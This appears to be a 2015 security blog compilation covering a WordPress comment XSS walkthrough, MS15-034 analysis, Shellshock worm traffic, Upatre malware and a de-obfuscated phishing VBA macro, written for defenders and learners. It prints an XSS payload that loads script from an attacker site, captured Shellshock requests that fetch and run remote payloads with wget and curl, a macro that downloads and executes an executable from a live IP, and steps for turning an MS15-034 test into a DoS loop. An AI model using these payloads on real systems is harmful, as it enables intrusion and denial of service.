WordPress XSS 0day Walkthru

I thought the Wordpress XSS vulnerability was an interesting one. I thought I'd attempt to walk through how I understand it to work.

On the comments section of any WordPress blog, a visitor can add a comment to the blog. Wordpress is actually correctly validating the input and sanitizing for XSS (Cross-Site Scripting) vulnerabilities. So what's the issue?

It's more of a quirk in the combination of how the MySql database was setup and how browsers handle malformed html.

1.) First if the comment being entered is too long, the MySql database field holding the comment cannot fit the entire comment and ends up truncating it, and actually chopping off the closing </a> tag

2.) Second, because that </a> tag was now truncated, when an Administrator views the comment for moderation (to approve or reject it) the browser will now attempt to display malformed HTML (an opening <a> tag without a closing one). Now most modern browsers don't reject malformed HTML, instead they try to automatically fix it for you. How Nice!

So if you enter your malicious comment and hit submit
<a title='xxx onmouseover=eval(unescape(/var a=document.createElement('script');a.setAttribute('src','https://myevilsite.com/thiscodegetsrunbyadmin.js');document.head.appendChild(a)/.source)) style=position;absolute;left:0;top:0;width:5000px;height:5000px AAAAAA...(tons of A's up to 65k bytes)....AAAAA' href="http://www.google.com">my link to google</a>

WordPress correctly validates that it's an ok a tag ... it's a super ugly title, but titles don't matter and can't be executed, so in the end this is just a valid link to google.com. But then WordPress saves this comment to their MySql database.

If you were to look in the WordPress database it would look something like this (it adds a paragraph tag around the text you entered too)....

<P><a title='xxx onmouseover=eval(unescape(/var a=document.createElement('script');a.setAttribute('src','https://myevilsite.com/thiscodegetsrunbyadmin.js');document.head.appendChild(a)/.source)) style=position;absolute;left:0;top:0;width:5000px;height:5000px AAAAAAAAAAAAAAAAaa</P>

Notice that a bunch of the A's as well as the closing portion of the </a> tag are now missing because of the MySQL truncation issue.

So when the Administrator goes to view this comment for moderation, the browser actually tries to fix the broken code with something like below.

<a title='xxx' onmouseover='eval(unescape(/var a=document.createElement('script');a.setAttribute('src','https://myevilsite.com/thiscodegetsrunbyadmin.js');document.head.appendChild(a)/.source)) style=position;absolute;left:0;top:0;width:5000px;height:5000px' p='AAAAAAAAAAAAAAAAA'></a>

Notice that it so nicely decided to split my harmless title out where it found whitespace and turn it into an onmouseover event.

What could actually be done with this? Well if the Administrator is doing his moderation of the blog from a browser on the Production Web Server, then that file (https://myevilsite.com/thiscodegetsrunbyadmin.js) gets executed by the Administrator under his Administrator account directory on the Production Server. So I could put Javascript code in there for example that writes a malicious file to the Production Web Server's hard drive in one of the folders that is publically accessible. I could make sure that malicious file is one of the many Web Server backdoors so that the attacker can now browse to this file which is hosted on your Wordpress blog, and do crazy things on that page like Add/Remove/Download files, Add/Remove user accounts, etc. I own that Web Server and that Administrator account.

It's important to point out here XSS is a 2-way street. You cannot simply validate the user input as it's coming in and getting saved. You also need to validate/sanitize user input after it's pulled from a data source and before it's displayed on the screen. I've blogged about this input validation topic before, as it's very similar to the concept of importing data in from another system or 3rd party source and then displaying it on your website. Don't trust it.

Oh my, XSS is really bad no matter what shape or form it comes in! Take it seriously!

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Hashes Are Insufficient for Blacklisting

You may be familiar with hashing tools like md5deep which allow you to generate a hash, or unique identifier, of a file. This is very useful for whitelisting files (only allowing your employees to install and run programs from a defined list). This is also very useful in validating that the file you currently posses is the exact same file that the author originally created.

Hashing is also commonly used in blacklisting programs (preventing employees from running specific programs). Hashing definitely has value and plays a good role in blacklisting. For example, if there is a common public commodity malware that all the script kiddies are just grabbing off the internet and using to infect victims, you can hash that malware, toss the value into your AntiVirus tool, and it'll quarantine/detect that file and prevent it. So hashing is great for blacklisting those well known, seen before, popular variations of malware. It's also good for example if a specific malware has just attacked your network, and it's now spreading and you need to find our where is is, where it has been, etc. You'd hash the file and search your network for that hash value on shared drives, workstations, etc.

But you should know that hashing should not be trusted as your only method of blacklisting. Why? Because hashing gives a unique identifier for a specific variation/version of a file. But if any little thing in that file changes, such as a version number, a comment, the order of the code, the amount of white space, or the actual code itself, they will all generate a brand new totally different hash. Why does that matter? I'd like to show you a very simple example.

Let's say I'm a bad guy and just wrote some malware that I send out in phishing emails and if opened, drops a batch file on your c drive, messes with your notepad.exe , and executes the batch file.





Now if I were the AntiVirus signature writer, I found this malware in the wild, I'd hash the batch file ( 1b0679be72ad976ad5d491ad57a5eec0 ) , and every time any other victim executed this malware, the hash would be found, detected and quarantined. Great!




But if I were any sort of experienced malware write, I'd add at least 1 additional step. Instead of just messing with notepad.exe , I'd also make sure that my batch file is dynamic and looks different every time. How would I do that? One simple way would be to just add a random number in a comment to each batch file.





By doing so I have just guaranteed that every time my malware executes it generates a brand new unique Hash. Now adding the hash of the malware to the AntiVirus signature is no longer useful, because the hash will change every time it executes. Oops.



Now my example was written in C# and batch files, but please realize this concept could be applied to anything, including Powershell scripts, VBA Macros, executables, etc. It could also be applied to phishing email attachments (perhaps send out each attachment as a slightly modified versions, maybe linking the modification to the user's email address).

That's where Behavior Based detection, Hueristic Based detection, IoCs, etc. have started to come into play, because Hashes cannot be your only method of blacklisting.

Happy hunting.

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Pull Macro out of XLS with oledump

I hope you're enjoying following my ride along as I learn sometimes new things, sometimes simpler better more efficient ways to do things. I previously blogged about extracting macros, and well I have stumbled across a quicker method. Didier again has a great tool, oledump.py which can make it really simple.

1.) See all the objects of an Office Doc (note "M" means macros are in that object)
oledump.py Test.xls

1: 107 '\x01CompObj'
2: 564 '\x05DocumentSummaryInformation'
3: 224 '\x05SummaryInformation'
4: 16529 'Workbook'
5: 525 '_VBA_PROJECT_CUR/PROJECT'
6: 104 '_VBA_PROJECT_CUR/PROJECTwm'
7: m 985 '_VBA_PROJECT_CUR/VBA/Sheet1'
8: m 985 '_VBA_PROJECT_CUR/VBA/Sheet2'
9: m 985 '_VBA_PROJECT_CUR/VBA/Sheet3'
10: M 2014 '_VBA_PROJECT_CUR/VBA/ThisWorkbook'
11: 2695 '_VBA_PROJECT_CUR/VBA/_VBA_PROJECT'
12: 1383 '_VBA_PROJECT_CUR/VBA/__SRP_0'
13: 114 '_VBA_PROJECT_CUR/VBA/__SRP_1'
14: 572 '_VBA_PROJECT_CUR/VBA/__SRP_2'
15: 140 '_VBA_PROJECT_CUR/VBA/__SRP_3'
16: 552 '_VBA_PROJECT_CUR/VBA/dir'


2.) EXTRACT THE MACRO from object #10
oledump.py -s 10 -v Test.xls

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
MsgBox ("Test")
End Sub


That was simple.

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Look at Zip Files without Opening

If you don't feel comfortable opening a zip file, you can use Didier's zipdump.py tool to inspect the zip safely. The command are simple.


1.) SHOW FILES IN ZIP
  zipdump.py test.zip
2.) EXTRACT A SINGLE FILE
  zipdump.py -f test.zip folder1/file1.txt
3.) VIEW ZIP CONTENTS IN MCAFEE QUARANTINE WITHOUT WRITING TO DISK
  punbup.py -f abc.bup | zipdump.py -
4.) VIEW SINGLE FILE IN ZIP IN MCAFEE QUARANTINE WITHOUT WRITING TO DISK
  punbup.py -f abc.bup | zipdump.py -a -


Have fun.

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Test if McAfee is Working

If you need to see whether McAfee Antivirus is enabled and running you can use the EICARgen tool from Didier.

The commands are simple..
1.) Generate a test file called 'McAfeeTestFile.exe'
  EICARgen.exe write McAfeeTestFile.exe
2.) Generate a pdf file called 'McAfeeTestFile.pdf'
  EICARgen.exe pdf McAfeeTestFile.pdf


Immediately upon running this or dropping a file onto a McAfee protected host you should see the familiar popup


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Viewing files McAfee Quarantined

If you've ever had to work with the McAfee Antivirus product, you know that if it detects something it will Quarantine that file. Basically rendering it useless to the malware/attacker. If you need to extract or get that file back (as a researcher) for further analysis, here's a simple way.

Download the punbup.py tool from herrcore.

Simple basics are...
1.) SHOW FILE INFO punbup.py -d c:\Quarantined\abc.bup

[Details]
DetectionName=W97M/Downloader.q
DetectionType=1
EngineMajor=5700
EngineMinor=7163
DATMajor=7778
DATMinor=0
DATType=2
ProductID=12106
CreationYear=2015
CreationMonth=4
CreationDay=22
CreationHour=19
CreationMinute=14
CreationSecond=42
TimeZoneName=Central Daylight Time
TimeZoneOffset=300
NumberOfFiles=1
NumberOfValues=0

[File_0]
ObjectType=5
OriginalName=\\?\C:\Users\XXX\Downloads\2471f4a0febbfede40f5d700553eb28d97519ac49454bcc79f0fb7383559198b.bin
WasAdded=0


2.) SHOW MD5 HASH OF FILE
punbup.py -c md5 c:\Quarantined\abc.bup
md5 hash for File_0: beb25dc0d73e289432fc624610b103c9


3.) GET THE FILE BACK (be careful!!!)
punbup.py -f c:\Quarantined\abc.bup | clip

or

punbup.py -f c:\Quarantined\abc.bup > badfile.doc


Now it's time to dig in and research.

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Developers vs Security Scans

As this diary post as SANS by Bojan reminds us, developers cannot and should not rely soley on Security Scans to ensure their application is secure. If you're used to kicking off a scan after you've completed your code such as HP Web Inspect, CAT.NET, Acunetix, Qualys, Nikto, Nessus, or whatever your tool of choice ... please don't forget there is SO MUCH MORE to TEST!

Your business logic you write in various areas of code such as Authentication and Authorization are just as critical. The recent MS14-034, plus the Authenticator flaw Bojan talked about both could've been prevented with simple Unit Testing, Fuzzing, and Business Testing. Validate your input, make sure all desired test cases including boundaries, outliers, etc. work. For example, check max int, min int, 0, negative values, null values, empty string, missing parameters, etc. Validate your conditionals and if statements work. Fuzz in some random data and see where your application breaks. You need to be able to handle all data at all times gracefully and properly. And write your code to fail closed, meaning if it doesn't match any of your criteria (your else statement or default case) then you deny access.

Dig into that code and protect your application!

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

The Assembly Behind MS15-034

Recall I previously blogged about the MS15-034 DoS vulnerability that could blue screen a Windows Server with a simple HTTP request.

Mike Czumak of securitysift.com blogged about the Assembly code behind that Http.sys vulnerability and I thought it might be interesting to attempt to explain a bit of the Assembly language code screenshot in that article.

First here is the code from the article. If you scroll down I'll walk through it line by line.

Unpatched
move ecx, [esi+4]
move eax, [esi]
cmp edx, ecx
jb short loc_6EEF9

loc_6EEF9:
   sub eax, edi
   sbb ecx, edx
   add eax, 1
   adc ecx, 0
   mov [esi], eax
   move [esi+4], ecx


Patched
move ecx, [esi+4]
move eax, [esi]
cmp edx, ecx
jb short loc_6F112

loc_6F112:
   push esi
   push 0
   sub eax, edi
   push 1
   sbb ecx, edx
   push ecx
   push eax
   call _RtlULongLongAdd@20 ;
   test eax, eax
   jl short loc_6F184


First, in both the patched & unpatched version there are 4 lines of code that end with a jump.

move ecx, [esi+4]
move eax, [esi]
cmp edx, ecx
jb short LABEL


First recall that assembly used "registers" to store values for quick use. Registers like 'edi' and 'esi' are index registers used to walk yourself through the stack, arrays, as a pointer, etc. Second recall that registers like 'ecx' and 'edx' and 'eax' are general purpose registers used for doing your mathematics, comparisions, and storing temporary values, etc. Now in this case the first 2 lines are "moving values from the stack into your general purpose registers". Note that in this scenario 'eax' is the upper Range Header value in the MS15-034 vulnerablity (Recall: 18 – 18446744073709551615). In this case 'eax' would have 18446744073709551615 in it. Next is a 'cmp' operand which performs a comparison of the 2 general purpose registers. If edx < ecx then it sets the 'Carry Flag' to true. This is determining if there are any more values to check. The last line is the 'jb' (jump if below) operand which basically says that it will jump if that 'Carry Flag' is true of if edx < ecx. So it jumps to our label that contains the vulnerable code.

loc_6EEF9:
   sub eax, edi
   sbb ecx, edx
   add eax, 1
   adc ecx, 0
   mov [esi], eax
   move [esi+4], ecx


Now in the unpatched 6 lines of code above, it's basically subtracting your lower range header (edi or 18) from your upper range header value (eax or 18446744073709551615). It's also doing an 'sbb' or subtract with borrow on those counters so it'll know how many tests it has yet to perform. Then is does an 'add', setting eax (our upper range header value or 18446744073709551615) to eax + 1. Here in lies the problem! There is an overflow condition that can happen here. The next line of code is an 'adc' which add with carry and keeps those counters moving. Then the final 2 'mov' commands 'move the values of eax and ecx back onto the stack' (just as they were before the function started).

loc_6F112:
   push esi
   push 0
   sub eax, edi
   push 1
   sbb ecx, edx
   push ecx
   push eax
   call _RtlULongLongAdd@20 ;
   test eax, eax
   jl short loc_6F184


Finally let's look at the patched version. Instead of doing that eax + 1 without a check, it does the overflow check by calling the _RtlULongLongAdd function. Now you can't call a function like that without parameters. It takes 5 parameters, so you push those 5 parameters onto the stack (esi, 0, 1, ecx, and eax). Prior to that you also update those counters to keep things moving. Finally you do a 'test' combined with a 'jl' which basically checks to see if after your addition of 2 unsigned integers, did you end up with a negative number? (if so that means you overflow, if not you're good). Thus we are now patched because we're checking and handling the case where we overflow on that eax + 1.

Hope that helps a bit, and happy patching!

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

The Unknowing Insider Threat

Most of the Phishing emails seen attempt to infect the user's workstation. For example, it might plant something that attempts to record and steal banking and user credentials. Or it might encrypt the user's files and ask for a ransom to retrieve those files. Or it might plant malware that makes the workstation part of a larger botnet. All of which is generally Remote to Local or Local to Remote (your workstation talking with the Internet).

But how about Local to Local attacks? Sending a phishing email to an employee, and if they click and open it, it launches an attack on an internal device or server?

I saw two recent blogs that mentioned that concept and thought it was worth mentioning.

First, the great Didier Stevens posted a video blog showing how simple it is to DoS a server using MS15-034 with a macro in a Microsoft Excel document. If you don't recall MS15-034, here's a quick refresher. Imagine this scenario playing out ...
1.) Login to your work computer in the morning
2.) Open your email client
3.) See an email in your inbox titled 'Health Plan Rates'
4.) Open the excel attachment in the email
5.) Get prompted to enable macros
6.) Click enable macros
7.) Unbeknown to you, the Excel macro cycles through all internal IP addresses in your company sending the MS15-034 DoS request
8.) Your IT department getting ticked off at you after they determine that several internal Windows Servers (Sharepoint, Time Tracking, etc.) crashed because of you.


Second, Mike Czumak at SecuritySift.com wrote about a deeper analysis of MS15-034. In his article, he mentioned at the bottom another interesting Shellshock attack. It lead me to consider another similar scenario except worse ... ...
1.) Login to your work computer in the morning
2.) Open your email client
3.) See an email in your inbox titled 'Star Wars Movie Trailer' from your friend
4.) Open the link in the email
5.) Start watching the Movie Trailer
6.) Unbeknown to you, the javascript on the Start Wars Trailer html page is cycling through all internal IP addresses in your company sending Shellshock attempts
7.) Your IT department gets ticked off after they determine that several of their Linux Production servers were compromised and backdoored all because you watched the Star Wars movie trailer.


Why are these attacks interesting? Well, one important thing to note is that major vulnerabilities like MS15-034 and Shellshock were almost immediately patched in your DMZ (or externally exposed devices) if your company is any good at what it does. But it's legit to think that your server teams may have taken a bit more time with your Internal servers (ones that are not exposed to the internet, such as your ERP, Intranet applications, etc.). Thus these attacks may work well after all the hype has died down on the big vulnerabilities. And if there are some internal servers that you just never got around to patching or that you were willing to accept the risk on, guess what, this type of attack might bring back nightmares now!

That human factor is a killer, huh? Phishing attacks are going to be bread and butter for attackers for a long time to come it would seem.

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Upatre Malware Quick Discussion

Cyberoam had posted about the Upatre Malware a week or two ago. I've seen this since then and though it was worth a mention.

User gets an email claiming they have an Invoice due or something ridiculous like that. Hopefully your mail provider catches and blocks this as spam or a virus, but based on how malware signature detection works, it's entirely possible that newer variants of this pass right through to the user's inbox because it didn't match the signatures known.

User clicks the malicious file (perhaps a zip file, exe, pdf, word doc, etc.) and instantly some malware is likely installed or deposited in your temp folders and executed.

That malware then, as I've seen this happen, first makes a call to something like checkip.dyndns.org to get the user's Public IP Address.

Some additional calls are then made to a C&C server sending information about the client's workstation.
Ex: hxxp://141.105.141.87:13839/0104us22//0/51-SP3/0/GKBIMBFIBL

That initial request to the C&C probably gets a response back of where to download the next phase of the malware. Then you'll see additional calls out to download and run that extra malware. That cycle could then go on for a long time, infecting your workstation over and over again with more and more crap, things such as Zeus, Rovnix VBR, and Banking Trojans.

If you see a pattern similar to this where there's a checkip call, followed by a url containing your workstation name, it's a pretty safe bet you're infected, and who knows with what. So best to re-build/re-image that device ASAP.

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Remove SSL3, TLS 1/1.1 by June 2016 for PCI

SecurityWeek.com described how the PCI council appears to be telling companies that SSL v3.0, TLS 1.0, and in some cases even TLS 1.1 may have to be disabled/removed by June 30, 2016 to pass your PCI audit.

Pretty interesting , likely caused by the stores about POODLE and FREAK basically busting apart the security of these older protocols.

Apparently PCI doesn't release these out-of-band updates very often either, so they must've thought this was important, and I tend to agree with them.

Let's push forward and not live in the past.

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Match.com passwords sent over HTTP

Arstechnica posted an article saying that Match.com's login page has been running HTTP for quite some time now. It appears to be a mistake of some kind, not intentional.

But, why is running an HTTP login page bad?

As you've heard me say before here and here, having an HTTP login page means your password is traveling the internet from your device all the way to the Match.com web server in plain text. Anybody or anything in-between able to see your traffic is also able to see your password.

I don't use Match.com, but if you do, consider resetting your password.

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Crash 1/3 of the Internet with MS15-034?

SANS Internet Storm Center raised their Threat Level to Yellow today and with very good reason.

Netcraft says in their 2014 report that about 33% of Web Servers on the Internet were Micrsoft IIS. Can you image crashing them all with a simple HTTP request?

With some slight modifications to the trustedsec.com's python test script I was able to use it to cause a Windows 2012 Test Box to immediately Crash and Reboot. Yikes!!!!

It's also bad because on my test windows box, there were no logs (System and application, or IIS Logs) that the request even happened! The only thing I saw was after the server rebooted and you get the standard message below

That's one heck of a DoS! And it's scarier than that, because Microsoft listed this as Remote Code Execution so it's possible that even worse attacks are on the way!

In general the changes needed to the Python script above are ...
- Change the range to an exploitable value that sans mentioned like 18-18446744073709551615
- Change the attack to hit a specific file that exists like a png(it doesn't appear to work on non-existant or redirected files/pages)
- Change the attack to a for loop of multiple requests instead of 1


BOOM, CRASH

Patch and Patch fast.

I did see that somebody named Malik Mesellem (@MME_IT) pasted something similar on pastebin

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Lots of Shellshock Activity Today

Shellshock has been kinda quiet recently, but just in the last day or two there's been a big uptick and it appears it might be related to this Shellshock Worm that Volexity reported on.

I've seen 2 variants so far

GET /cgi-bin/test-cgi.pl HTTP/1.1
User-Agent: () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("cd /tmp;cd /var/tmp;rm -rf .c.txt;rm -rf .d.txt ; wget http://109.228.25.87/.c.txt ; curl -O http://109.228.25.87/.c.txt ; fetch http://109.228.25.87/.c.txt ; lwp-download http://109.228.25.87/.c.txt; chmod +x .c.txt* ; sh .c.txt* ");'


GET /cgi-mod/index.cgi HTTP/1.0
Cookie: () { :;} ;echo;/usr/bin/php -r '$a = "http://x5d.su/x/AS1";''$b = "http://x5d.su/x/AS2";''$c = sys_get_temp_dir();''$d = "AS1";''$e = "AS2";''$f = "chmod 777";''$g = "file_put_contents";''$h = "system";''$i = "file_exists";''$j = "fopen";''$k = "uptime";''if ($i($c . "/$d"))''{''exit(1);''}else{''$h("$k");''$g("$c/$d", $j("$a", "r"));''$g("$c/$e", $j("$b", "r"));''$h("$f " . $c ."/$d");''$h("$f " . $c ."/$e");''$h($c . "/$d");''$h($c . "/$e");''}'
Referer: () { :;} ;echo;/usr/local/bin/php -r '$a = "http://x5d.su/x/AS1";''$b = "http://x5d.su/x/AS2";''$c = sys_get_temp_dir();''$d = "AS1";''$e = "AS2";''$f = "chmod 777";''$g = "file_put_contents";''$h = "system";''$i = "file_exists";''$j = "fopen";''$k = "uptime";''if ($i($c . "/$d"))''{''exit(1);''}else{''$h("$k");''$g("$c/$d", $j("$a", "r"));''$g("$c/$e", $j("$b", "r"));''$h("$f " . $c ."/$d");''$h("$f " . $c ."/$e");''$h($c . "/$d");''$h($c . "/$e");''}'

I pasted several examples of each

first example

example 1
example 2
example 3
example 4
example 5
example 6
example 7

second example
example 1
example 2
example 3
example 4



Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Hack an Entire Site to get at a Single User

I thought this article by High-Tech Bridge SA titled Drive-by-login attack: the end of the safe web was fascinating and scary at the same time.

You're a bad guy. You need information from a specific user. Instead of social engineering the user with a phish, here's another angle.

1.) Identify the websites the user frequents
2.) Recon those websites for known vulnerabilities
3.) Exploit one of the vulnerabilities to gain control of that website
4.) Inject malicious code that only executes when that particular user accesses the website
5.) After the user visits, remove your malicious code


An example of malicious code could be a simple popup window that prompts the user for the data you want, and posts the response back to your malicious website.

Another example might be to insert code that download a customized piece of malware onto that user's computer.

In this particular article linked above, the malicious PHP code basically says "if(IP == my victim && EMAIL = my victim) { do something }"

And then the code says later, if the attacker requests the same page but appends "?del" to the url, then everything is cleaned up and restored back to normal.

I have personally seen this type of attack before, but it was targeting a group of people, not a single individual. But this seems like the logical next step for attackers in sophisticated attacks. Hit the 1 guy you want, clean-up, and move on.

If you think about it, unless you're doing file integrity monitoring something like this could go completely unnoticed on your web server. The malicious code only ever executes for a single user, and the malicious code gets removed almost as soon as that victim leaves the site.

Stay vigilant and harden those systems!

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

HTTPS gives you more than just Encryption!

You probably know the main benefit of HTTPS. ENCRYPTION.

If you're navigating to a website, it ensures that your passwords, banking numbers, credit card numbers, etc. are encrypted from your laptop all the way across the internet to whatever data center the website's web servers are located in. It prevents somebody from sitting anywhere in between and sniffing out your data in plain text (something that has been almost trivial nowadays with the free tools available). It also prevents malicious attackers from easily grabbing your session cookie in plain text, hijacking your session, and logging in as you. That would suck.

BUT WAIT, THERE's MORE!

1.) Authenticity - If you are navigating a website, how do you know that page you're receiving is even from the website you initially navigated to? What if there is a man-in-the-middle who's intercepting all your web requests and serving back his malicious pages instead of the real ones? HTTPS gives you strong confidence in that aspect.

2.) Integrity - How do you know that the content you're downloading is original or if additional malicious content has been injected in by some malicious attacker? HTTPS also gives you confidence that the data hasn't been tampered with.

3.) 3rd Party Vetting - HTTPS certificates aren't just handed out, there is a little bit of vetting that goes on especially by the big trusted Certificate Authorities. Thus if you're on site and the certificate is from a trusted authority, you gain a bit of confidence in knowing that a 3rd party is marking this site as trusted.

4.) Revocation - Benefit #3 above about 3rd Party Vetting isn't always bullet-proof. The nice thing about HTTPS though is that if a Certificate does get compromised or is marked as malicious, it can be revoked, and then suddenly all browsers will warn a user if they're going to a site that is no longer trusted.

5.) User Trust - If you're running a website, you can potentially gain trust and increase sales by having the EV certificate that shows the Green lock/bar across the top of a browser.

6.) SEO - If you take the time and do it right, based on Google's current algorithm, HTTPS will give you a boost in your search ranking.



It's time get it done and migrate the entire Internet over.

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

De-Obfuscated Malicious VBA Macro

I posted an obfuscated malicious VBA script for in a Word Document that was disguised as a Resume in a phishing email.

It was obfuscated meaning that the attacker took time to randomize the code, change variables names and declarations to be confusing, add extra unnecessary code that just confuses you, etc.

I took the time then to de-obfuscate or turn it back into read-able code that a normal legit developer might write. Let's quickly attempt to review it.

#If Win64 Then
  Private Declare PtrSafe Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" _
   (ByVal a As Long, ByVal b As String, _
   ByVal b As String, ByVal d As String, ByVal e As String, _
   ByVal f As Long) As Long
#Else
  Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" _
   (ByVal a As Long, ByVal b As String, _
   ByVal b As String, ByVal d As String, ByVal e As String, _
   ByVal f As Long) As Long
#End If


First, the above code declares a reference or gives the program a way to execute shell command line statements by declaring an alias for the shell32.dll's ShellExecuteA function. Now you can pass in the code you want to run and it will execute (assuming the user opening this document has access to do so).

Sub Document_Open()
  DownloadAndExecute
End Sub


Call a Function called 'DownloadAndExecute' that will run immediately when the Word document is opened (assuming Macros are enabled).

Sub DownloadAndExecute()


Declare that Function called 'DownloadAndExecute' so when the document opens it can be called.

  Dim PayloadUrl = "http://80.242.123.211:888/moist.exe"
  Dim maliciousFileLocation = Environ("tmp\df.exe")


Declare variables that store where I'm doing to download a file from and where I'm going to save it to/execute it from. Note this is only going to work if the user can access that website (Cross your fingers and hope that your internet filter/proxy blocks it) and that the user can save and execute files from the folder (likely yes since it's the a temp folder).

  Dim XMLHttpRequestObject = New MSXML2.XMLHTTP30
  XMLHttpRequestObject.Open "GET", PayloadUrl, False
  XMLHttpRequestObject.send


Make a call out to the Internet to download the malicious executable file using the XML Http Request object and an HTTP GET request.

  If XMLHttpRequestObject.Status = 200 Then


If the download was successful proceed to the next steps.

   Dim fileId = FreeFile
   Open maliciousFileLocation For Binary As #fileId
   Put #fileId, , XMLHttpRequestObject.responseBody
   Close #fileId
  End If


Save the results of the download to the location you specified earlier.

  ShellExecute 0, "open", maliciousFileLocation, "", vbNullString, vbNormalFocus
End Sub


Execute the file that you just downloaded and saved. Of course the goods are actually in that executable, so you'd want to download and analyze that file at some point as well.

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Resume Phish with VBA Macro in Word

I pasted some details about a Phishing email that I saw containing a Resume in a Microsoft Word document. If users clicked on the word document it executed some malicious VBA scripts that attempted to download a file and infect the host workstation. What are the steps to determine all that?

First get a copy of the Word Document. If you have the email, great (skip to step 8). If you don't have the email but have a Wireshark packet capture, then try these steps ...

1.) Find the email SMTP traffic and right-click, Follow TCP Stream
2.) Save As RAW
3.) Open the file in Notepad++, it's probably Base 64 encoded (like the example below)


5.) Delete everything before and after so all you're left with the Base 64 encoded document, then Select it all


6.) Select Plugins => MIME Tools => Base 64 decode


7.) Now be careful since you have an active word document. You wouldn't want to accidentally click. That's why it's best to this in a disposable non-connected Virtual Machine. I wouldn't even save it as word, just save it as a TXT file still for now.


8.) Now use the OfficeMalScanner that I blogged about using here. And run this command that extracts a binary version of the macro
.\OfficeMalScanner.exe .\MaliciousWordDocument.txt inflate


9.) Now use the OfficeMalScanner to run this command to extract the actual VBA script
.\OfficeMalScanner.exe .\vbaProject.bin info


10.) Open that outputed file (VBAPROJECT.BIN-Macros\ThisDocument) in Notepad++ and boom! you have the code. Time for analysis.

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.